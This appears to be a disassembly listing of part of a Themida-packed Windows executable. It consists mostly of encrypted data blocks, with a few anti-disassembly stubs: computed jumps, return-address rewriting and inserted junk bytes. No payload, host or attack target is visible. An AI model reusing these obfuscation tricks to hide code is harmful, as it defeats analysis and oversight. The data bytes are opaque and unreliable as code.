		dd 66E7073Eh, 0FA29D570h, 0B81754FFh, 0E044D90Fh, 38E92A1Ah
		dd 0CA000005h, 64762ED2h, 241BCD0Ah, 84465C5h, 0ED6B3B5Fh
		dd 0A9F9149h, 0E03F1BCDh, 0F6F4E81h, 6DE833EBh,	4D41DD9h
		dd 0CC70A386h, 0D9621A14h, 463C21Dh, 3515048Eh,	1373A423h
		dd 7A4A6ECDh, 8D9F57F9h, 4D1DD987h, 35E68FEEh, 6A225512h
		dd 64B5EB3Bh, 5DD30A6Ch, 0A99B81C8h, 476Dh, 72D54E00h
		dd 0F3DBD1F5h, 0A587CC20h, 0E78BAF0Fh, 16F57343h, 0D2CC04E3h
		dd 7A1BCD9Fh, 6983BB1Bh, 311BCD9Fh, 6EB8AED2h, 0CC484FE4h
		dd 7BFF252h, 3BAA4155h,	0EF659CFEh, 4A82135Ah, 7FFh, 0F299E000h
		dd 6A000001h, 0C2F572D5h, 0F4C94E1Eh, 66095C94h, 0FC5E62A1h
		dd 0F0BA4FC5h, 0DAAAA386h, 0AC2C7C59h, 2DFE6DCDh, 0DF000000h
		dd 0C2F572D5h, 0A166240Ah, 7855DA62h, 14F77545h, 0A1D8BAE1h
		dd 0B013572h, 0C3C0EFDFh, 196BCBDCh, 0E2D76CE2h, 877EA386h
		dd 5F000000h, 0D1F572D5h, 0CD0A0719h, 9B19E91Bh, 0B31258B8h
		dd 0ADC01E14h, 88BB9217h, 0A5A37B8h, 5938BC8Ch,	0B5E84726h
		dd 0DA094012h, 0A3195032h, 2A1ACB0Eh, 51B3h, 72D59400h
		dd 752DD1F5h, 1BCD0A7Bh, 4064C423h, 0CD0A9488h,	0B5D9381Bh
		dd 0D123EEBFh, 55DAEE03h, 7664578h, 0F9699BA7h,	0EC6D3D61h
		dd 87BA971Ch, 78F949A8h, 0B0E73999h, 1B37A53Ah,	104C2Ah
		dd 0D22D0000h, 5C4F8DCh, 78D8E9CEh, 11C1Bh, 0E099EC00h
		dd 6A000000h, 5942DCD2h, 0F50EDD7Bh, 94D37495h,	0A5E8A961h
		dd 55B74E9Dh, 6B342A1Eh, 904964AEh, 0F2872D8Dh,	977F6C28h
		dd 85h,	472D578h, 9372A584h, 46581034h,	61BCD0Ah, 86BC74A7h
		dd 8F3BED27h, 5E02F62Dh, 0ED27B4A6h, 95F5543Bh,	3AB15AEFh
		dd 47FF4Ah, 0D2E00000h,	33B28202h, 0E5C4F756h, 84E36485h
		dd 0EA04BC60h, 0B21BCD0Ah, 17CFF353h, 1BCD0B05h, 7B3366C5h
		dd 76ED2645h, 0C1B5EC4Eh, 1A9F73F1h, 0D2B1E443h, 0B637CC72h
		dd 3329973Ah, 9B427809h, 6CDB3B99h, 11h
		dd 73994Dh, 0C1650000h,	0CD0A1709h, 0F858B71Bh,	7E02D2D9h
		dd 6EEF3F9Fh, 0E8B85C8Fh, 8B5B8E63h, 19F82B0Ah,	0D225ABAh
		dd 9F1BCD0Ah, 5222164Dh, 0DEBDF0CDh, 0D0AD2E7Eh, 0FC82B6ACh
		dd 0A69C5CF3h, 0D2EE9D46h, 3DA5E2Eh, 0A7B9F1D0h, 671BCD0Ah
		dd 0C087A808h, 36699BA7h, 151D54A6h, 1BCD0721h,	95A63EE4h
		dd 0CC9C2A1Ah, 59386B4Eh, 0FEF28AF9h, 996BFFFFh, 2A3h
		dd 5725A66Ah, 22C6F9D8h, 0CD0A706Ah, 5AB9181Bh,	77F8C8FBh
		dd 0C40F19Ah, 0A1F6EC6Ah, 0EF169250h, 0AD8CBF1Eh, 0B6862A4Eh
		dd 4B2A5D34h, 392CB3EBh, 78EE1DC2h, 0BEA1289Ch,	5938B7DEh
		dd 89E84726h, 96889E56h, 0EF511DC2h, 24AD42B8h,	4254302Ah
		dd 35000000h, 7BFF77D5h, 339271A4h, 0B9B36B0Fh,	611BCD0Ah
		dd 0C67EA202h, 1DC22C7Dh, 0D38BBE1Dh, 1DC22DDDh, 0DF12F173h
		dd 8EE469E9h, 74C4ADBCh, 0BBDE11F0h, 4683B2E9h,	0A237ADE4h
		dd 47302A47h, 0D5h, 5725A628h, 0AD8C0BD3h, 0ECBCEF4Eh
		dd 89797268h, 92F58272h, 0D46FEB1Ch, 0FF5E2E56h, 0CC8428CCh
		dd 1BCDCED2h, 6BBB1B7Ah, 8D80BEAh, 3901AA87h, 1BCDCAECh
		dd 0A14A27A8h, 0B9981DEDh, 2647A786h, 0D8D25026h, 205E1299h
		dd 1649A861h, 8CEBC246h, 7E51092Dh, 421DDC3Ah, 40F4E69Eh
		dd 44941DDFh, 0D0AFE2BFh, 6CCB1171h, 6F47848h, 0D3F44103h
		dd 0A0C423F0h, 814FD0h,	0B00FEE21h, 43C7A750h, 8FF2476Ch
		dd 0DA1DBD33h, 48CFDh, 0A78A0D00h, 0BF9E1EFEh, 0DCB13616h
		dd 0F2D15333h, 0EE56949h, 11DD6E65h, 2D0DB68Dh,	4323CCAFh
		dd 5C3CE5C4h, 0C155FEDBh, 784B651Dh, 6E131DD9h,	4B22A6CFh
		dd 0AFD93127h, 0AE90660Eh, 44C5A54Eh, 0A425F374h, 5E0766C5h
		dd 7E02D2AFh, 2D8D6C9Fh, 4A7D5CDDh, 0F81CF97Ah,	6ACAA728h
		dd 0BC3D0DC1h, 6BCBAADDh, 4165024Ah, 0C2217A89h, 99BD1C1Dh
		dd 3A6D44C9h, 24C8FB5Bh, 742CD054h, 1DC2267Ah, 3164C322h
		dd 16AFE3Bh, 0EE4DC741h, 4842568Eh, 0EDA11DC2h,	5ABA991Dh
		dd 6CE0D108h, 0E01FD7FBh, 0B21BCD63h, 0DA5F2F53h, 52B19012h
		dd 0B49849F2h, 1BEB8FB3h, 0AB8ABD9Ch, 0D3647973h, 0A91DF117h
		dd 572C4FD2h, 2E52B211h, 0C767B576h, 0C6471711h, 75D5B4E7h
		dd 0DCACD02Fh, 0E3FDB557h, 0A109FF78h, 2E0D4023h, 812A89E8h
		dd 9B7EFDCDh, 78E7033Bh, 2EAD09FFh, 0F8EEA24Bh,	2C6A5F1h
		dd 0CD2A8AEDh, 4Ah, 0AA8BE9Eh, 0BE8D1BCDh, 9B2000A9h, 48256D5h
		dd 0B413F225h, 5231B181h, 0A07094F3h, 0ADE04021h, 0CD0AFBF5h
		dd 3970521Bh, 99BD9419h, 0E6E45C9h, 5E068565h, 0CD0AB4A6h
		dd 96F5541Bh, 0AB4AB63h, 0E0421BCDh, 270A89A9h,	27A6CF7Eh
		dd 2130264Ah, 3047567Bh, 9B9B097Fh, 0D844BC7Ch,	0F6754578h
		dd 8CBF9E22h, 0F41B4EADh, 3CBBDB12h, 0AECB45Dh,	791BCD72h
		dd 1B053BD3h, 0FF83E62Ah, 0A6C7FFFFh, 45154825h, 8B3CE5C4h
		dd 0DE82A6C1h, 0A68823Ah, 0BA301BCDh, 0CC3E59BDh, 1575D41Fh
		dd 0C22F56DDh, 86B9181Dh, 0C25CD8CEh, 0E81F811Dh, 29DEDD72h
		dd 80FFCF30h, 0F4CF51A1h, 362594h, 0D2060000h, 50A07D02h
		dd 0DDBCEFD2h, 60F05C7Dh, 5A266AD1h, 0F339277h,	0C2BEEC57h
		dd 1C4FAE1Dh, 0C2B24E64h, 13E3171Dh, 153B392h, 3CBF54CAh
		dd 0DE66302Ah, 47000000h, 244825A6h, 615A702Eh,	7FDF1237h
		dd 19F87C4Ch, 0C79516E6h, 19F87D45h, 0EEB6ABAh,	799DFCDBh
		dd 0F94928A9h, 6399978h, 2FD8B536h, 0CD5EBE67h,	0A65E021Bh
		dd 1BCD5FB4h, 0A5840454h, 9D74F646h, 0DB2B8B6Ah, 87577B5Ah
		dd 15F42706h, 46447C5h,	58D7A75Bh, 7674679h, 245736B7h
		dd 7A9EC983h, 0C276EDC2h, 2A4EAD1Dh, 74DCCE86h,	1D7C1DC2h
		dd 0E96314BDh, 93A25A7Eh, 8D1BD3C4h, 25583BBDh,	41A0E646h
		dd 25A9791Dh, 1A9EEE4Eh, 36BA9A43h, 22C89D40h, 61C00550h
		dd 88FF3Ch, 0FCD91CB7h,	1F1h, 0A34C25A8h, 0BB6443C3h, 0CE7756DBh
		dd 0EC956CEEh, 0A9880Ch, 22A64209h, 44C2A24Bh, 5DDCBC65h
		dd 72F3D37Ch, 0B256EA93h, 0D97FE0FAh, 6403A81Dh, 0A24B22A6h
		dd 0BB6441C2h, 8302D20Ch, 272546A6h, 0E3641C40h, 0DD1DC22Ch
		dd 2D6F8139h, 0D02F1DC2h, 98CB2A70h, 0CEA224F4h, 5F3E7150h
		dd 8EEECD00h, 0C22D4056h, 9B72F61Dh, 3B169868h,	0C8FFE108h
		dd 0C3FA5C99h, 29ABB84Dh, 0E15D30h, 69390000h, 89A808EBh
		dd 154825A6h, 1B15CD71h, 0C31BCD0Ah, 30B40464h,	0BF661E51h
		dd 11BCD0Eh, 280B8D5Dh,	0CCDE16F5h, 8C1BCD0Fh, 0FC7DCD2Dh
		dd 0A529F91Dh, 3FF79BCEh, 1BCD0F2Dh, 0DF2F8EEDh, 6D4C7F5Eh
		dd 384640Dh, 0AB4FF326h, 0CD0FF9F3h, 2BB4711Bh,	1ECE341Bh
		dd 0F81979D8h, 0C5A42254h, 3054B392h, 0C2C82378h, 34B5851Dh
		dd 0CCFFE264h, 0E82E8EEDh, 10956589h, 0CF1FFE31h, 6241744Bh
		dd 0A4A85902h, 31E79FC3h, 511BCCB2h, 7AFECEF2h,	961AFAA3h
		dd 601392B7h, 397CB700h, 0D45Ch, 5F42C500h, 7756D6B6h
		dd 9469EECEh, 0AA890BEBh, 0C69D2101h, 0C925261Dh, 0E5C56E45h
		dd 0FBDB8467h, 14F49D7Ch, 790DB693h, 7C031DD5h,	26CB1DD9h
		dd 4B22A687h, 1A773127h, 0E2B52A68h, 78F9D982h,	0A641F099h
		dd 45154825h, 883CE5C4h, 7E118D92h, 7E84F773h, 0EAF24FDFh
		dd 0CB4D9DFCh, 76D6B5E8h, 0F3ABF755h, 1BCDD8F9h, 0BFE342A1h
		dd 0D9BFC007h, 0B40C821Dh, 7EADA9B2h, 3D1499E9h, 99CC2B0Ah
		dd 0C06948C9h, 4F825FE0h, 0FE4FC797h, 19F87D4Ch, 0BD9416E6h
		dd 5A91738Ah, 0F930122Bh, 0D07958D9h, 5F926FF0h, 12360D8Fh
		dd 0B3E6C342h, 2A4174D4h, 70F11148h, 8708E891h,	3D377AAh
		dd 9372A584h, 0FD633h, 0D2A70000h, 2DB2B6DCh, 0C058CEADh
		dd 53AC0C02h, 4E23A624h, 0EBCA4B1Bh, 8869E8B8h,	24078555h
		dd 0C69D21F1h, 603FC393h, 0F8DB5D2Dh, 9170F5C5h, 2F0E8E5Eh
		dd 0EC8335FCh, 24248904h, 4B850h, 44010000h, 68580424h
		dd 198h, 50242C89h, 405E089h, 2D000000h, 4, 5C240487h
		dd 68241489h, 61468CDh,	81242C8Bh, 4C4h, 148B5400h, 4C48324h
		dd 4EC81h, 0C890000h, 89E98924h, 0FF59084Ah, 815A2434h
		dd 4C4h, 242C8B00h, 81E18951h, 4C1h, 4C18300h, 5C240C87h
		dd 0FBCEC0E9h
		db 0FFh, 8Ch
; ---------------------------------------------------------------------------


loc_5A2656:				; CODE XREF: Themida_:loc_5A1738j
		mov	eax, 6147718h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 39h
		dd 0C640E20Ah, 0DD579D82h, 0ED4AE616h, 585DE05Dh, 0B7CB0B8h
		dd 567C924Ah, 0F24EA42Ch, 8B0F8389h, 0F1371244h, 502B750Bh
		dd 0CA654D3Ch, 842B1EE3h, 710E95D3h, 9667B34h, 346C05E5h
		dd 0C9000680h, 0FB59CB9Ch, 920FF90Fh, 0C32751D8h, 0B378F6Ch
		dd 93516CA9h, 5C2208E9h, 485B4F4Eh, 0BA70B385h,	6225B8ABh
		dd 0FE669945h, 8A6C35E1h, 2B0C25F9h, 8D4F73BCh,	1478C08Dh
		dd 658D8906h, 66060F2Ch, 0C7AB96BEh, 0F07C185h,	5D4406h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 85C701C4h, 60F2491h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5A271F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A271F	proc near		; CODE XREF: Themida_:005A2717p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5A271F	endp

; ---------------------------------------------------------------------------
		push	edx
		jmp	loc_5A273A
; ---------------------------------------------------------------------------
		db 0DAh, 0DEh, 86h
; ---------------------------------------------------------------------------
		fdiv	st(7), st


loc_5A273A:				; CODE XREF: Themida_:005A2730j
		jmp	loc_5A2744
; ---------------------------------------------------------------------------
		db 0EDh
		dd 6BBB776Dh
; ---------------------------------------------------------------------------


loc_5A2744:				; CODE XREF: Themida_:loc_5A273Aj
		push	dword ptr [ebp+60F128Dh]
		push	0
		push	ebx
		call	sub_5A2755
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A2755	proc near		; CODE XREF: Themida_:005A274Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5A2755	endp

; ---------------------------------------------------------------------------
		db 0E9h, 0B3h, 26h
		dd 0EB28E8A5h, 0FFD3D5E9h, 0F2A0595h, 9E906h, 29040000h
		dd 0E9730916h, 6A83ACEDh, 5195FF00h, 8B060F34h,	612FEBC0h
		dd 0D32499F9h, 0E105B73Fh, 0B099EECh, 94940911h, 0F8326BF1h
		dd 300E7D04h, 54862672h, 0C8C08C10h, 882C8571h,	92A19A02h
		dd 6EA97D41h, 0B0E9424Fh, 60000000h, 0F6DA8C66h, 850F04C2h
		dd 0Ch,	1CE5853Bh, 840F060Fh, 36h, 1A61853Bh, 840F060Fh
		dd 2Ah,	1E25853Bh, 840F060Fh, 1Eh, 1139853Bh, 840F060Fh
		dd 12h,	1169BD83h, 0F01060Fh, 584h, 5FE900h, 0D08B0000h
		dd 8B3C5203h, 88BAh, 784A8B00h,	840FC985h, 49h,	0F8C281h
		dd 728B0000h, 8BC8030Ch, 518B1C59h, 8BD80314h, 0FC9850Bh
		dd 1084h, 0FCE3B00h, 1782h, 0FCF3B00h, 0F83h, 4C38300h
		dd 0DC850F4Ah, 0E9FFFFFFh, 0Dh,	4CA79D8Dh, 5B8060Fh, 0FF000000h
		dd 0BC361E3h, 14FE9D0h,	8DF90000h, 147A21B5h, 9E906h, 0D30D0000h
		dd 10296676h, 8DB944CBh, 124A3085h, 0E9526006h,	0Eh, 0DC7CE203h
		dd 0C0625C8Dh, 5194344Eh, 0F587065h, 0FF61C2B7h, 56006AD0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 7753DBD3h, 467290D1h, 0C3F5F951h, 0DE9h, 40D0FE00h
		dd 723FA81Ah, 5965A00Bh, 66F5B5A7h, 6AD98Ch, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 916568C3h
		dd 9840FCDh, 60000000h,	93DB8166h, 617BB2A4h, 148E0Fh
		dd 0FE90000h, 0E9000000h, 0C25D8436h, 1BC03512h, 0D3E672F0h
		dd 0C1F6A061h, 50840F04h, 0F000000h, 1287h, 0DE900h, 0A71C0000h
		dd 8C2C49DEh, 1FFD3DDCh, 8B0E554Dh, 32CB8BFBh, 0FD75AEC0h
		dd 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h, 3F20CD00h, 0B000101h
		dd 8D1874C0h, 0FA8B0C70h, 75A6CB8Bh, 0FA75490Ah, 1B8h
		dd 8B09EB00h, 0B8E4EB00h, 0
		dd 6AF8CFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 38D97AC3h, 0B55ED9C8h, 0F88B6660h, 68E0Fh
		dd 850F0000h, 0
		dd 0A585C761h, 3F06147Ah, 0E8000101h, 12h, 1F745EF6h, 14236FBAh
		dd 607F6E4h, 0DA4A5C35h, 59F98970h, 0C181FE8Bh,	5AF9h
		dd 11E8h, 0E2820A00h, 8E3D5F85h, 0C1D82A26h, 6E292C94h
		dd 880F70CFh, 2, 33589AB0h, 8BFB8BF6h, 840F3114h, 7, 40ED8060h
		dd 8161C68Bh, 1993BAEAh, 6830F39h, 81000000h, 0EBC703EBh
		dd 0DAF28124h, 0FC5BC2FDh, 0C740F281h, 0EE9165Ch, 47000000h
		dd 0A6D23F48h, 7923C2D4h, 62C5CC8Ah, 3114890Fh,	0F380C68Ah
		dd 0B9EE81CCh, 667F9C9Bh, 815D0BBBh, 9C9BB5C6h,	7E87Fh
		dd 0F9080000h, 0D2E04AE2h, 188D0FD1h, 0E8000000h, 12h
		dd 479D2B39h, 2D9941Ch,	7B947681h, 55183889h, 5F58C92Bh
		dd 0A5FCFE81h, 850FFFFFh, 17h, 0DB3AC8BBh, 1FE905h, 40D60000h
		dd 0D165A8E0h, 78392856h, 81B49083h, 8A3BA5DFh,	0FF4DE933h
		dd 0E644FFFFh, 0D70167CDh, 0D38D8D58h, 0F506147Ch, 2C658D89h
		dd 85C7060Fh, 60F07C1h,	6D90h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 5FC35545h, 0E9B533A3h, 89060F07h
		dd 0F18319Dh, 9185C706h, 60F24h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0EBA1C356h
		dd 2860Fh, 0C78A0000h, 0B5FF6FB4h, 60F18D5h, 9E9h, 9006F800h
		dd 0C0AAA951h, 0FE9B746h, 0A9000000h, 0FA3FE0CDh, 0A0DF3467h
		dd 94390CE9h, 95FF8B84h, 60F2A05h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0ADC35646h,	0A7A9168h, 0FBB6D970h
		dd 6AF861h, 345195FFh, 0C08B060Fh, 0AA7E0EEBh, 3F6C85Fh
		dd 0F994FC41h, 0CFACD916h, 60EBh, 17h dup(0)
		dd 57E90000h, 0E900000Bh, 0B4Bh, 14854D68h, 160E906h, 7C68FFFBh
		dd 0E9061486h, 0FFFB0156h, 1486EB68h, 14CE906h,	0AEC3FFFBh
		dd 253768Bh, 0ADE70A1Fh, 0DA7A9DB2h, 7B0F3247h,	18AACBE0h
		dd 4055F088h, 0CEE3461Dh, 6075E8ABh, 0EF04273Dh, 35C27320h
		dd 0FA66EFD1h, 3C53EA03h, 0EF2C3419h, 50EB7FB2h, 44E48AFh
		dd 0B93AEF6Dh, 5166C196h, 18FD582Eh, 5A3F2275h,	0A085A0B7h
		dd 0DDC265FDh, 1E03263Ah, 55ADB7Bh, 0F99A3D22h,	97CC8166h
		dd 0B8DA7D62h, 2E4578A5h, 0F071260Bh, 542B5E0Bh, 84D70F1h
		dd 0B5E43015h, 0A03FF01Dh, 0D76B1031h, 93C2F522h, 124E7B90h
		dd 75C11BCh, 4B5CF824h,	2F6D39BAh, 63976A3h, 37ECD14Ch
		dd 6EEE15B6h, 0A64966EFh, 0DB9075D0h, 481EC1A6h, 6EABD8EDh
		dd 0EF6F3ABDh, 0BF40F566h, 1A3D53B6h, 7F164911h, 0F57E63E4h
		dd 0B5E2F0AAh, 0C849EC82h, 895861BFh, 4F0FE99Fh, 3EECh
		dd 0F0AAD300h, 9849D9E2h, 6D044E5Fh, 491A23D8h,	0D91ECF0Ch
		dd 5E6D044Dh, 4DEF08A9h, 93486D04h, 49CCE512h, 663FD70Dh
		dd 4FD0B652h, 0F9FF692Ch, 0FF3020B3h, 0B4A0A9DEh, 59992Bh
		dd 0AA000000h, 49D9E2F0h, 66E74216h, 4E6F8839h,	12CF6D04h
		dd 44D9661h, 0BC84396Dh, 0F5537711h, 61828531h,	0F5156F8Bh
		dd 15E293C0h, 1A6D0354h, 0C6033065h, 353E215h, 17984D6Dh
		dd 4930490Eh, 4D9C5B0Ch, 0F0936D04h, 22D7BCA7h,	0C496CEDh
		dd 0DBB1E411h, 65E69B80h, 0AA2BB45Ch, 5B6E3EFh,	6B0B5275h
		dd 0A2DE0BC0h, 78E9532Ah, 563BBC5Bh, 0F4FCC635h, 72115666h
		dd 823386Bh, 0ED6E23h, 4600A418h, 15D55h, 0F2AA3C00h, 0FD02B3E0h
		dd 326D044Dh, 9FF5987Dh, 539EA7BCh, 91111A3Dh, 0E2F0AA08h
		dd 895861D9h, 4F0FE99Fh, 51ECh,	0F573AF00h, 0D3153C56h
		dd 0B18F2608h, 50854407h, 0F0AAC6CFh, 9849D9E2h, 6D044E5Fh
		dd 7681326Fh, 0C16D044Eh, 0C92EDF0Ch, 6E6D044Dh, 0D17438B9h
		dd 5D669B86h, 2533049h,	0BE39EA27h, 796D044Dh, 4DD423C4h
		dd 0A65B6D04h, 2BB46871h, 1B99h, 0F0AA0000h, 9849D9E2h
		dd 6D044E5Fh, 49111ADFh, 1F025330h, 7F164916h, 18A163E4h
		dd 0B3E0F2AAh, 654AD580h, 51022FB0h, 6D044DBAh,	40E3C87Dh
		dd 0F1FA0F2Ah, 0E5401649h, 0E9113CB9h, 0B334BDF0h, 565FFA90h
		dd 0BDD90C49h, 6708BDA2h, 6D044D90h, 8C71F2A7h,	0E2F0AA03h
		dd 30C778B5h, 76D044Eh,	462B0E64h, 0D2DB5C91h, 9F895861h
		dd 0EC4F0FE9h, 57h, 36C172AFh, 16A044Eh, 896E1F4Ch, 0AE6A044Dh
		dd 0AA6F78F9h, 49D9E2F0h, 523AD00Ch, 0C8AD88DEh, 151CE713h
		dd 0FDFA9B1Ch, 0C96D0397h, 981CDB8Ch, 5E136D03h, 0A96D19DDh
		dd 0EC43746Fh, 49838CC1h, 1F025330h, 90ABBFF2h,	2BB4060Fh
		dd 0E17C1649h, 168360h,	0AAEA0000h, 49D9E2F0h, 44E5F98h
		dd 111ADF6Dh, 2533049h,	2BB4161Fh, 0F499h, 0F2AA0000h
		dd 96B99CF2h, 0FF2C61FCh, 44DB14Eh, 45DA866Dh, 65D9CCB3h
		dd 9441265Bh, 8351A657h, 31E66D03h, 54F78DB0h, 1649363Fh
		dd 5F02E742h, 93482D08h, 0A4BADD5Eh, 66175481h,	6D044D91h
		dd 4E6B8C3Dh, 0FC46D04h, 5D869F4Bh, 94C2140Fh, 91D5DE5Fh
		dd 7C164908h, 69460E1h,	5861C3CCh, 0D8F00D49h, 0CA5F4A7Dh
		dd 1CCC5C49h, 5BA14F0Fh, 88000000h, 0D9E2F0AAh,	0E6411649h
		dd 53294C01h, 0D4A77F8h, 4DD81FD0h, 0AA5F6D04h,	4E2BCC7Dh
		dd 4F046D04h, 4DCA2DCEh, 0B0656D04h, 401649A7h,	0DDC25DF7h
		dd 590EF328h, 4992ABD8h, 63E47F16h, 10A1540h, 0ED401649h
		dd 44DBB3Ch, 8ABF746Dh,	679A4709h, 0AEB73813h, 2899h, 0F0AA0000h
		dd 4992F8EBh, 0FD32E732h, 5F9849F4h, 0DF6D044Eh, 4D867122h
		dd 0FCB16D04h, 3049BEC7h, 64310253h, 0B4BBC4F9h, 1A3D532Bh
		dd 5EC19235h, 7502649h,	0B89DD24Dh, 44E6697h, 3C4B206Dh
		dd 40B768A5h, 0F76D044Eh, 13661642h, 65989FEDh,	0A2ABC1E4h
		dd 0D58A6FF2h, 853673A0h, 6D041072h, 2ADB08BDh,	6D040FCDh
		dd 172CAD62h, 0D6BB9EF4h, 875C5567h, 0B295EBF8h, 0AC8D19Dh
		dd 2B6DA0DDh, 33180B4Ah, 0AF64497Eh, 14ED8D2Eh,	0ACDF6B0Bh
		dd 5376E9h, 283381Dh, 0F7A4893Eh, 0A68BAEC4h, 2AAF48F9h
		dd 0D38866F5h, 7F7C1D9Eh, 9D66F52Bh, 26F20B58h,	474600D2h
		dd 2Eh,	1A3D532Eh, 4DE31435h, 0A8ED6D04h, 0AD928DC7h, 3BDEC3F8h
		dd 241D0225h, 0DFB3304Fh, 0F9CE477Ch, 2C075D6Ah, 44E7C7Bh
		dd 0C9FEB36Dh, 3D53ABB4h, 0B0E9351Ah, 0F744F522h, 0D76B1032h
		dd 0ED6EF1A4h, 56F18629h, 59400C21h, 5E0F4C79h,	66EFD099h
		dd 0E72C4036h, 0A96DDCAFh, 954673F4h, 64F71CE5h, 3B6E9B50h
		dd 6B200518h, 1B5805EAh, 0E9228D6Ah, 0F12436Ch,	0FCB1752Ah
		dd 2321DA7Bh, 0B6FB6CE9h, 0CAC850A9h, 49A54BF4h, 68000000h
		dd 0C15CF82Bh, 718627DCh, 0C66CE927h, 0AA879011h, 2B3E0F2h
		dd 6D044E05h, 766C9E4Ah, 7127A923h, 0A2573C27h,	688F406Dh
		dd 0CF6D03CBh, 85B8E51Ah, 0C2654AEDh, 0F5AA8F92h, 0DF123FC0h
		dd 879ABCB5h, 1E603D52h, 0C7000000h, 0B3E0F2AAh, 44E0902h
		dd 6C994E6Dh, 0A11E1630h, 8B0C6678h, 8692B5Eh, 899ED34Eh
		dd 5B0C4980h, 6D044D9Ch, 805DDE93h, 199h, 5B0C49E7h, 6D044D9Ch
		dd 0B1DE93h, 6D044DF7h,	3E0A8B40h, 0F4C7959h, 44D995Eh
		dd 0BDE99E6Dh, 0F8364467h, 0C159685h, 3D530891h, 9B1ED1Ah
		dd 777EA4CAh, 617E8708h, 0E99F8958h, 9EDB4F0Fh,	44E0AEDh
		dd 4D70256Ah, 782D1235h, 57DBF7h, 629E0000h, 77C99B8Ah
		dd 6B74F5F2h, 0DCE5EDAAh, 4E5F9849h, 2BD86D04h,	44E7D7Ah
		dd 0C8FDB26Dh, 533049BFh, 0FF5A3001h, 2B6A9DCAh, 49AEB738h
		dd 0F1505C0Dh, 9C1D380Fh, 0B3F02DDAh, 3B8F502h,	0E4853A6Dh
		dd 6D03B913h, 3DD972B4h, 0F4B8CDCCh, 99B5BE3Fh,	3Eh, 5B0C4900h
		dd 6D044D9Ch, 915DDE93h, 49C3CC06h, 44E5F98h, 111ADF6Dh
		dd 1533049h, 4D827526h,	0F8AD6D04h, 689D80D5h, 7E16495Fh
		dd 8622B7ECh, 285D0FDFh, 4B0D8E43h, 372A6B9Eh, 3D53ADB6h
		dd 891111Ah, 0D9E2F0AAh, 46F73461h, 6D044DB1h, 4750D186h
		dd 0FE99F89h, 37EC4Fh, 0AAD30000h, 7348EBF0h, 0C98A4BD9h
		dd 0C498B94h, 44D9C5Bh,	5DDE936Dh, 4E787F30h, 0ABF6D04h
		dd 49304901h, 4D9C5B0Ch, 0DE936D04h, 81B3A5Dh, 992BB4FFh
		dd 47h,	0E2F0AA00h, 5F9849D9h, 0DF6D044Eh, 99A2F823h, 0BD8EDC07h
		dd 0B1F4B82h, 5784B91Dh, 8ED7024h, 49C9D253h, 0D91ECF0Ch
		dd 5E6D044Dh, 0A3889BBBh, 0FF96B9EEh, 49CA7F64h, 27025340h
		dd 44E8176h, 0CC01B66Dh, 532BB4C3h, 0BDF01D00h,	2207889Bh
		dd 44DF901h, 7C0BD06Dh,	2439246Fh, 1D00531Bh, 5FC29538h
		dd 4A87347Ah, 44E5E99h,	0A324D96Dh, 114281DEh, 4D926516h
		dd 0F19D6D04h, 1FA65F8Fh, 33689D7Dh, 12BD7D1Eh,	5A876D04h
		dd 0CB5D441Eh, 0BF407638h, 0FA447D2h, 0FE27284Ch, 0AEEBFFFFh
		dd 408FAFDh, 0FF80356Dh, 4E26D5F6h, 6BA86D04h, 4E7A7D2Eh
		dd 0B56D04h, 44D985Fh, 69EA9F6Dh, 44DB3C8h, 4E55A76Dh
		dd 0F4076D04h, 666D044Dh, 6D044D95h, 44E36C5h, 44A0F9ADh
		dd 6F24092Ch, 84DA0D3Ah, 42F320A1h, 0AB15BB38h,	283B5CFFh
		dd 0E7CC6F05h, 0CC18FD32h, 0E84317CDh, 0A68BAEC5h, 528FBCF1h
		dd 69EA751Fh, 0F962A6C8h, 212CE1A4h, 4E0671E6h
		dd 8ADE3B20h, 0A0000002h, 36596EC9h, 0CCEF041Fh, 5F82978Ah
		dd 0F4172C37h, 83A4B99Ch, 300B5FF1h, 0C863F81Bh, 5CC790B3h
		dd 0EB4E2447h, 0A95A07D6h, 66EFC94Eh, 53D9F2E9h, 0B1ED1A3Dh
		dd 0C940EA75h, 553ABB3Ah, 15429009h, 5DD027D8h,	0C4676D03h
		dd 0F4A98E91h, 60113EBFh, 6B0F42CFh, 1DBED388h,	66EFC0DEh
		dd 5D8A4851h, 0FBA537ACh, 0AEDB9064h, 5F44E77Bh, 9F84A7BCh
		dd 0D788B5EAh, 6D035D20h, 0B4E16217h, 3B50EB81h, 0A285DB0Eh
		dd 0CD68FE21h, 5D3CC7E8h, 96036D03h, 0D95E0F3Ch, 0F56B0F41h
		dd 0C1F007B8h, 0A44766EFh, 0B6376CCFh, 0DD103DF2h, 819CB687h
		dd 7E14374Ch, 0EFAAF6DBh, 3605B6E3h, 8164FBA7h,	0B1629FCCh
		dd 6D035D46h, 0D6BB3CF1h, 96C30F8Ah, 0F6512659h, 410BD475h
		dd 0AF646B0Fh, 1E394F82h, 0B590E609h, 0C74CAFD0h, 4F8266EFh
		dd 82371C07h, 6E643501h, 87D10441h, 0B6FCFB9Ch,	7E3366EFh
		dd 101FD0FDh, 4764FB9Ch, 3861AD92h, 9C8DF5A3h, 6DA2D924h
		dd 15C60340h, 6D03DBE2h, 7617984Dh, 6B0ADE8Ch, 72FB06BBh
		dd 0F08817F5h, 15BAE0Bh, 0BACF0000h, 2E678A9Fh,	59FB1E33h
